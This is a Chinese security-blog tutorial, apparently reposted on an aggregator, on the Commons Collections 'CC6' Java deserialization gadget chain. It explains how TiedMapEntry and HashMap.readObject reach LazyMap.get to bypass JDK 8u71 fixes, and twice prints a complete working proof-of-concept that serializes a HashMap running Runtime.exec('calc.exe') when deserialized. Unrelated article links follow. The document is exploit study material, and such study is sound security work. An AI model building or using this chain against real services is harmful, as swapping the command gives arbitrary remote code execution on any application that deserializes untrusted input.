[java安全]CommonsCollections6

news2024/12/31 6:24:50

文章目录

    • 【java安全】CommonsCollections6
      • **测试环境**
      • 前言
      • 分析
      • TiedMapEntry
      • 注意点一
      • 注意点二
      • POC
      • 调用栈

【java安全】CommonsCollections6

测试环境

3.1-3.2.1,jdk1.7,1.8

前言

之前我们分析了CommonsCollections1 LazyMap利用链,但是在java 8u71以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler类的readObject()等方法的逻辑改变了:

// jdk1.8
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Map.Entry var9 = (Map.Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

我们需要找一个绕过高版本的利用链CommonsCollections6

分析

LazyMapget()方法我们不能继续使用CommonsCollections1中通过使用动态代理的方式调用AnnotationInvocationHandlerinvoke()方法,从而触发LazyMap#get()方法了

我们需要了解到一个新的类:

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
    public Object getValue() {
        return this.map.get(this.key);
    }

    ...
        
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

  

这里重点关注TiedMapEntry类的hashCode()方法,他会调用自身的getValue()方法,而this.map变量可以传入LazyMap类型,于是就触发了get()方法

但是应该从哪里调用TiedMapEntry#hashCode()方法呢?

我们可以使用HashMap

HashMap#readObject()方法会对key使用hash()方法,然后hash方法会对key使用hashCode()方法:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    ...
        putVal(hash(key), key, value, false, false);
		}
	}
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

于是我们可以构造一个HashMap

然后使用put方法将TiedMapEntry添加进去:

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

注意点一

需要注意,我们在使用HashMap#put()方法的时候,会触发hash()方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap中添加一个假的ChainedTransformer类对象,这样put()就触发不了RCE了:

Transformer[] fakeTransformers = new Transformer[]{};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);// fake
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");

添加完成之后我们通过反射将chainedTransformer的变量iTransformer改为真的:

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);

总结一下:

我们想要触发LazyMap#get()方法,可以通过TiedMapEntry#hashCode()方法,然后TiedMapEntry#hashCode()方法可以被HashMap#readObject()中的hash()调用,完成RCE

我们接下来模拟反序列化,完整代码如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

看似以及完美了,但是我们执行一下发现没有弹出计算器

注意点二

上述代码的问题在这:

hashMap.put(tiedMapEntry, "value");

虽然tiedMapEntry中的LazyMap的值chainedTransformer以及换为空的,但是还是会执行hash()方法

image-20230716225911438

这导致方框中的添加为flase,不进入if中,导致不会执行chainedTransformer#transform()方法

解决方法:

我们在put()后使用Map#clear()方法,将LazyMap中的值清空

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
//        sun.reflect.annotation.AnnotationInvocationHandler
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);


        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

调用栈

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->HashMap.readObject()
          ->HashMap.hash()
            ->TiedMapEntry.hashCode()
                    ->TiedMapEntry.getValue()
                    ->LazyMap.get()
                      ->ChainedTransformer.transform()
                          ->ConstantTransformer.transform()
                              ->InvokerTransformer.transform()
                                  ->…………

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/760876.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023 年中回顾:珍惜当下,锻炼身体

文章大纲 过去几十年的经验:人类的悲喜并不相同马太效应破圈:健康的身体写博客这件事:价值导向参考文献 距离上次阶段性回顾仅仅过去半年,感觉整个IT 行业天翻地覆慨而慷了。 时光荏苒,我自己也在芯片领域深耕了365天&…

swagger不可用

swagger不可用 问题描述问题处理测试环境外网域名测试环境内网域名思考 总结 问题描述 上周swagger还没啥问题,这周一测试突然和我说,测试环境的swagger都用不了了,然后开始找原因 问题处理 测试环境外网域名 一直跳这个弹窗,百度…

学习AJAX

AJAX 🚀 HTTP请求报文响应报文 🚄 express框架🚬 express基本使用 🚒 原生AJAX🚬 GET.HTML🚬 POST.HTML🚬 JSON.HTML🚬 nodemon工具可以帮助重启服务🚬 IE缓存问题&#…

MIT 6.829 -- L0 Background: Single-Link Communication

MIT 6.829 -- L0 Background: Single-Link Communication 前言ProblemModulation(调制) & Demodulation(解调)FramingError DetectionError RecoveryARQ Shared Media Access总结 本课程为MIT 6.829 计网课程,课程对应官网链接: Computer Networks Lecture Notes 本节对应…

操作系统——虚拟内存管理

文章目录 一、虚拟内存中的几种地址1、逻辑地址2、线性地址3、逻辑地址转线性地址4、线性地址转物理地址 二、进程与内存1、内核空间和用户空间2、内存映射3、进程内存分配与回收 早期程序直接运行在物理内存上,直接操作物理内存,这种方式存在几个问题&a…

【Python】selenium项目实战:从12306网站获取特定时间段二等座有票的车次

文章目录 一、项目背景二、页面查找1、查询条件2、定位有二等座的元素3、定位有二等座的车次信息4、CtrlF检验xpath查找的车次 三、代码实现 一、项目背景 工具: pythonpycharmselenium 12306网址: https://kyfw.12306.cn/otn/leftTicket/init?linktyp…

【GESP】2023年06月图形化四级 -- 密码合规检测

密码合规检测 【题目描述】 网站注册需要有用户名和密码,默认小猫角色和白色背景,编写程序以检查用户输入密码的有效性。 (1)合法的密码只能由a-z之间26个字母(字母不区分大小写)、0-9之间10个数字以及!@#$四个特殊字母构成。 (2)密码最短长度:6个字符,密码最大长…

通用技术 自动化测试与持续集成方案

目录 前言: 传统接口测试 接口测试自动化 接口自动化的持续集成 前言: 在现代软件开发中,自动化测试和持续集成是两个不可或缺的环节。自动化测试可以提高测试效率、减少人工错误,并确保软件的质量。持续集成则可以帮助开发团…

18.JavaWeb-JWT(登录、鉴权)

1.CSRF跨站请求伪造 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的…

SOCKET编程基本原理

测试模拟环境 python 3.8—对应Pycharm 专业版 for linux 本文采用的环境是vmware + ubantu_64 先简单配置一下netstat工具 sudo apt-get install net-tools netstate基本用法 sudo netstat -at | grep 1234 // |管道函数 grep匹配正则表达式移除端口用Kill就可以了 SOCK…

Calendar类中的字段常量有哪些?

一、Calendar类介绍 Calender类是Java中用于处理日期和时间的类之一。它提供了一组方法,可以对日期和时间进行各种操作,如获取当前日期和时间、计算日期间的差值、设置特定日期和时间等。 Calendar类是一个抽象类,不能直接实例化&#xff0…

MySQL基础管理

目录 ​编辑 一、数据库管理 1.1语言分类 1.2、DDL 二、MySQL相关文件 三、MySQL相关命令 3.2.1创建表的流程 1.创建新的数据库 2.查看创建的数据库 3.进入text库中,创建表 4.查看text下的所有表 5.查看表的属性 6.向表中添加数据 7.查看表中的数据 1.3查看…

TinyKv调用流程梳理二

addNode生成peer func (c *client) heartbeatStreamLoop() {defer c.wg.Done()for {select {case <-c.ctx.Done():returndefault:}ctx, cancel : context.WithCancel(c.ctx)c.connMu.RLock()stream, err : c.leaderClient().RegionHeartbeat(ctx)c.connMu.RUnlock()if err !…

golang waitgroup

案例 WaitGroup 可以解决一个 goroutine 等待多个 goroutine 同时结束的场景&#xff0c;这个比较常见的场景就是例如 后端 worker 启动了多个消费者干活&#xff0c;还有爬虫并发爬取数据&#xff0c;多线程下载等等。 我们这里模拟一个 worker 的例子 package mainimport (…

Redis实现skipList(跳表) 代码有详解

Redis实现skipList(跳表) 项目介绍 非关系型数据库redis&#xff0c;以及levedb&#xff0c;rockdb其核心存储引擎的数据结构就是跳表。 本项目就是基于跳表实现的轻量级键值型存储引擎&#xff0c;使用C实现。插入数据、删除数据、查询数据、数据展示、数据落盘、文件加载数…

Java-API简析_java.lang.Runtime类(基于 Latest JDK)(浅析源码)

【版权声明】未经博主同意&#xff0c;谢绝转载&#xff01;&#xff08;请尊重原创&#xff0c;博主保留追究权&#xff09; https://blog.csdn.net/m0_69908381/article/details/131714695 出自【进步*于辰的博客】 因为我发现目前&#xff0c;我对Java-API的学习意识比较薄弱…

【GESP】2023年06月图形化四级 -- 按身高排序

按身高排序 【题目描述】 默认小猫角色和白色背景。有两个列表,第一个列表“names”存储名字,第二个列表“heights”存储这组名字对应的身高,这些身高由互不相同的正整数组成。 请按身高由大到小排序,同时能够得到对应名字的列表“names”。 例如: 名字列表:names = …

变压器试验交流耐压

试验目的 交流耐压试验是鉴定电力设备绝缘强度最有效和最直接的方法。 电力设备在运行中&#xff0c; 绝缘长期受着电场、 温度和机械振动的作用会逐渐发生劣化&#xff0c; 其中包括整体劣化和部分劣化&#xff0c;形成缺陷&#xff0c; 例如由于局部地方电场比较集中或者局部…

unity 调用C++ dll 操作升级套娃函数调用

之前一直以为C生成dll&#xff0c;在unity中调用时要把传出去的值设置在主函数中&#xff0c;以参数或反回值的形式。 当然在DLL工程中可以说没有主函数&#xff0c;那个可以运行一个函数&#xff0c;其会调用其他函数从而一直调其他相关函数。 那问题是在层级是二或三------…

Android CoroutineScope Dispatchers.Main主线程delay,kotlin

Android CoroutineScope Dispatchers.Main主线程delay&#xff0c;kotlin import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.util.Log import android.view.View import android.view.View.OnClickListener import android.widget.Bu…